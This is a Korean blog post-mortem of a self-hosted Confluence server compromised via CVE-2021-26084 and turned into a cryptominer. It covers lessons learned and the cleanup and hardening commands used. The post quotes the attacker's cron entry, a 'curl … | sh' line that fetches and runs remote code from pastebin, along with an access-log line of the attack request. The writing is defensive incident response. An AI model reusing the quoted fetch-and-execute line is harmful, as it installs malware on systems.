제가 블로그로 사용하는 기업용 wiki 인 Confluence 에 OGNL(Object-Graph Navigation Language) injection 으로 원격에서 코드를 실행할 수 있는 치명적인 보안 취약점이 발표되었습니다.(참고: CVE-2021-26084)


심각한 취약점이므로 제조사인 Atlassian에서는 메일로 해당 취약점에 대한 여러 번 안내 메일을 보냈지만 제가 미처 확인하지 못했고 이로 인해 Confluence 를 구동하는 리눅스에 암호화폐 채굴기가 설치되었고 이때문에 해당 인스턴스를 폐기하고 데이터를 이관하고 시스템을 복구하는 등 큰 피해를 입었습니다.


이때문에 주말내내 새벽까지 복구를 하는 삽질을 했지만 처리 과정에서 여러가지 배운 점이 있어서 나중을 위해 기록해 봅니다. 

교훈

root 권한 최소화

큰 힘에는 큰 책임이 따라야 하는건 당연하지만 큰 힘을 사용할 필요가 있는지부터 확인하는 게 필요한 경우가 많습니다.

리눅스 관리자라면 포트 번호 1024 이후를 사용하는 경우(예: WAS 등) 무조건 사용자 계정으로 구동해야 합니다.

이번에도 보안 취약점때문에 원격지에서 코드가 설치되고 실행되서 큰 피해를 입었지만 DB 와 시스템 파일은 온전했고 쉽게(😂) 복구를 할 수 있었습니다.

만약 confluence 를 root 로 구동했다면 시스템이 통째로 장악되고 회복 불가능한 피해를 입었을 소지가 큽니다.

📧 이메일 키워드 필터 추가

제조사가 여러 번 이메일을 보냈지만 주의깊게 확인하지 못한 제 책임이지만 쏟아지는 이메일 홍수때문에 일일이 확인이 어려운 현실적인 문제가 있습니다.

그렇지만 사람의 집중력과 주의력은 제한된 자원이므로 이메일을 꼼꼼히 확인하는데 신경쓰기 보다는 이런 중요한 알림 메일을 놓치지 않기 위해 "Security advisory" 나 "critical vulnerability" 같은 키워드에 대해 필터를 추가할 계획입니다.

🔒 DMZ 에 위치한 서비스는 최악의 상황을 가정하고 구성

Web Server 나 Email Server 같이 외부에서 누구나 접근할 수 있는 서비스를 구성한 경우 전세계의 해커가 공격할 수 있고 이로 인해 털릴 수 있다고 가정하는 것도 필요합니다.

털려도 된다는 무책임함이 아니라 털릴 수 있다는 가정을 해야 최악의 상황에 대비한 시나리오와 대응이 나올 수 있습니다.


예로 털렸어도 피해를 최소화하기 위해 DMZ 에 위치한 서버에는 중요 자산과 정보를 보유하지 않는다거나 내부망에 접근을 엄격하게 제한하는 등의 보안 대책을 수립할 수 있습니다.

퍼블릭 서비스가 아니면 접근 제어 적용

외부의 임의의 대상에게 공개하는 서비스가 아니라 사용자가 제한되어 있다면 여러 가지 접근 제어를 적용하는 게 좋습니다.

예로 해외에서 접속할 일이 없다면 GeO IP 로 해외 IP 를 차단하거나 특정 IP 만 white list 방식으로 오픈하는 방법이 있습니다.


Log 에 관심 갖기

예전에 개발과 시스템 운영을 같이 할 때는 출근하면 제일 먼저 하는 게 전날 이후 서비스에 이상한게 없는지 로그 파일을 열어 보는 것이었습니다.

그때는 관리하는 서비스와 시스템이 적어서 로그 파일을 보는 게 당연했고 서버별로 연결해서 로그 보는게 가능했지만 지금은 시스템과 데이터가 너무 많은 문제가 있긴 합니다.

하지만 이에 맞게 ELKfluentd 같은 여러 가지 좋은 도구가 있으니 규모가 크다면 이런 도구를 이용해서 로그를 수집하고 이벤트를 모아 볼 수 있는 대시보드 구성이 필요하고 제 블로그처럼 작은 규모라면 직접 연결해서 보는등 로그에 대해 더 관심을 가질 예정입니다.

SELinux 와 Firewall 사용하기

SELinux 같은 강제 접근 통제 방식(MAC) 는 잘못된 설정이나 제로 데이 공격(zero day attack)으로부터 시스템을 보호하기 위한 좋은 보안 도구입니다.

Red Hat 계열의 배포판은 기본적으로 켜져 있지만 어렵고 번거롭다는 이유로 끄고 사용하는 경우가 많은데 보안이 중요한 이 시대에 배울만한 가치가 있습니다.


Firewall 도 기본적이면서 강력한 도구이므로 사용법과 "deny all" 정책을 이해해 두면 도움이 됩니다.

운영 능력 없으면 Cloud 사용하기

규모가 크거나 경쟁이 치열한 산업군의 경우 기밀이 유출될 우려때문에 사내 방화벽내에 Confluence 등 협업 환경을 구성하고 사용하는 경우도 많습니다.

이렇게 특별한 경우가 아니라면 운영과 SLA 를 제조사가 보장해주는 Cloud 를 검토하는 것도 의미가 있습니다.


저는 개인 블로그라 24년까지는 설치형으로 사용할 계획이지만 개인 서버라 down time 이 길어도 사용자에게 미안한 뿐 비즈니스에 영향을 주지는 않지만 업무용이라면 Cloud 전환이 운영 비용과 보안 리스크를 줄일수 있으므로 고려할 필요가 있습니다. 

발견 및 조치 과정

블로그에 글을 쓰려는데 응답이 너무 느리거나 Gateway Timeout 에러가 나서 서버에 ssh 로 연결해 보니 서버가 이상하다는 것을 알게 되었습니다.

아래는 제가 서버의 이상 증상을 발견하고 긴급 조치한 과정입니다.

부하 유발 프로세스 확인

서버에 ssh 연결후 prompt 뜨는 시간 및 ls 같은 간단한 명령어도 실행이 오래 걸려서 바로 top 명령으로 CPU 와 Memory 를 많이 사용하는 프로세스를 찾았습니다.

top 결과를 확인해 보니 설치하지도 않은 javac 와 Apache Solr 데몬(solrd)이 CPU 를 대부분 소모하고 있었고 시스템에 문제가 있다는 것을 알게 되었습니다.

이런 악성 SW 들은 보통 헷갈리게 시스템에 있는 명령어로 위장해서 실행된다고 합니다. 

정확한 정보를 얻기 위해 lsof 로 PID 를 조회해 보니 javac 가 /tmp/ 에 위치해 있고 .go.sh 라는 악성 스크립트가 이를 실행하고 파일을 찾지 못하도록 삭제한 것을 알게 되었습니다.

$ lsof -p PID

COMMAND  PID  USER   FD      TYPE             DEVICE  SIZE/OFF      NODE NAME
javac    3870 rocky  cwd       DIR              259,2      4096 136268141 /tmp/javac(deletd)
javac    3870 rocky  rtd       DIR              259,1       240       128 /tmp/.go.sh
BASH

같이 보기: lsof 사용법

프로세스 종료

confluence 를 구동한 계정(예: ec2-user)으로 실행한 모든 프로세스를 바로 중지했습니다. 이럴때는 묻지도 따지지도 않고 프로세스를 종료시키는 -9 옵션을 사용합니다. 

$ kill -9 $(lsof -t -u ec2-user)
BASH

같이 보기: Unix, Linux 에서 kill 명령어로 안전하게 프로세스 종료 시키는 방법

cron 접근 차단

악성 SW 는 계속 실행하기 위해 시스템 어딘가에 실행 파일을 숨겨 놓습니다. 파일을 숨겨 놓아도 누군가는 이를 실행해줘야 하므로 제일 만만한건 cron 입니다.

예상대로 crontab 의 스케줄링을 확인해 보자 다음과 같이 pastebin 에서 악성 코드를 다운 받는 내용이 cron 에 등록되어 있었습니다.

$ crontab -l


curl -fsSL https://pastebin.com/abcd | sh 
BASH


먼저 해당 계정에 등록된  cron  job을 삭제하기 위해 다음 명령으로 편집기를 띄운 후에 등록된 작업을 삭제했습니다.

$ crontab -e -u ec2-user
BASH


동일한 악성 코드가 실행되지 못하도록 계정의 cron 사용을 차단합니다.

$ echo "ec2-user" >> /etc/cron.deny 
BASH


이제 confluence 를 구동한 계정에서 crontab 을 사용하려고 하면 다음 에러가 나면 의도대로 설정한 것입니다.

$  crontab -l

You (ec2-user) are not allowed to use this program (crontab)
See crontab(1) for more information
CODE


같이 보기: cron 사용법

해킹 계정 login 차단

해킹당한 계정은 로그인이 불가하도록 쉘을 nologin 으로 변경해 두었습니다.

$ chsh ec2-user -s /sbin/nologin
CODE

Web 서버 구동 중지

아직 털린 원인을 몰라서 임시로 웹 서버를 내려놨습니다.

$ systemctl stop nginx
CODE

같이 보기: systemd(system daemon) 을 관리하는 systemctl 명령어 사용법

SELinux enforce 모드 설정

사용하던 인스턴스가 Amazon AMI2 라 SELinux 가 기본적으로 꺼져 있었습니다.

그래서 SELinux 를 설치하고 enforce 모드로 동작하도록 설정해 주었습니다.


SELinux 활성화후 mysql 이 구동되지 않았는데 datadir 이 /var/lib/mysql 이 아니라 /opt/mysql 이어서 SELinux 가 차단해서 였고 다음 명령으로 SELinux 에 등록해 주고 정책을 변경해서 정상 동작을 확인했습니다.

$ semanage fcontext -a -t mysqld_db_t "/opt/mysql(/.*)?"
$ restorecon -R /opt/mysql
BASH


같이 보기: Amazon Linux AMI 에 SELinux 설치하기

아웃 바운드 접속 차단

pastebin.com 은 이렇게 악성 코드를 배포할 때 사용되는 경우가 많으므로 방화벽에서 차단하기로 했습니다.

AWS 의 방화벽은 OUT Bound 정책에서 특정 IP 로 연결을 차단하는 방법이 없어 보여서 linux 의 firewall 을 이용하기로 했고 다음 정책을 설정했습니다.


$ nslookup pastebin.com

Non-authoritative answer:
Name:	pastebin.com
Address: 104.23.99.190
Name:	pastebin.com
Address: 104.23.98.190
BASH


이제 대상 IP인 104.23.99.190, 104.23.98.190 을 차단하는 정책을 실행하고 활성화합니다.

$ firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -d 104.23.99.190/32 -j DROP
$ firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -d 104.23.98.190/32 -j DROP
$ firewall-cmd --reload
BASH


이제 pastebin.com 에 연결해서 timeout 이 떨어지면 의도대로 설정된 것입니다.

$ curl -L https://pastebin.com/

curl: (28) Connection timed out after 60001 milliseconds
BASH


혹시 side effect 가 있을지 모르니 다른 곳은 정상 연결되는지도 확인해 봅니다.

$ curl -L https://google.com/
$ curl -L https://naver.com/
BASH

Data 백업 및 Instance 이관

아직 정확한 원인을 몰랐고 어느 정도 악성 코드가 전파됐는지 확인이 어려워서 새로 AWS 인스턴스를 생성하고 데이터를 이동하기로 결정했습니다,.

일반적으로 해킹 피해를 입으면 시스템에 root kit 등이 설치되어 있을 수 있으니 데이터만 살리고 OS 를 새로 설치하는 게 낫습니다..

EC2 에 CentOS 8 이 사라져서 Rocky Linux 를 market place 에서 찾아서 설치했고 EBS 를 새로운 인스턴스에 붙이려고 했는데 EBS와 EC2 의 가용 영역이 다른 관계로 붙지가 않아서 데이터 이관때문에 여러 가지 삽질을 좀 했습니다.


그리고 새로운 instance 에 confluence 서비스를 올리고 정상 동작을 확인했는데 다시 악성 코드가 구동된 걸 보고 confluence 에 문제가 있다고 생각했습니다.

구글링해서 보안 취약점이 발표된걸 확인하고 confluence 를 패치된 버전으로 업그레이드해서 문제를 최종 해결했습니다.

이후 조치 사항

공격 IP 차단

이번 취약점을 이용해서 공격한 IP를 확인하려면 로그 파일에서 다음 내용을 검색하면 됩니다. (이전 로그는 자동으로 압축되므로 zgrep 을 사용했습니다.)

$ zgrep createpage-entervariables /var/log/nginx/*

/var/log/nginx/access.log-20210907.gz:13.125.40.66 - - [06/Sep/2021:20:32:59 +0000] "POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
BASH


공격한 IP 만 추출하기 위해서 다음 명령으로 필터링해서 uniq 로 모았습니다.

$ zgrep createpage-entervariables /var/log/nginx/*access.log*  | awk '{print $1}'| awk -F':' '{print $2}' | uniq
BASH


그리고 예전에 만들어 놓은 스크립트를 이용해서 공격한 IP 를 모두 차단했습니다.

## 기본 존 확인
$ firewall-cmd --get-active-zones 
dmz
  interfaces: eth0

## 차단
$ ./firewallcmd-drop-client.sh -z dmz -i BLOCK_IP1,BLOCK_IP2
BASH


같이 보기: linux firewalld 로 특정 IP 차단하기

fail2ban 정책 추가

log 를 살펴 보면 온갖 곳에서 취약점 점검이 들어오고 있습니다.

많이 들어오는 공격중 하나는 phpmysqladmin 설치 여부와 wordpress 설치 여부입니다.


이런 시도를 하는 곳은 linux kernel 방화벽에서 차단하는 게 좋은데 이를 위해서 fail2ban 에 별도의 정책이 있는지 확인해 보고 적용할 예정입니다.


같이 보기: fail2ban 으로 SSH 서버 강화하기


Ref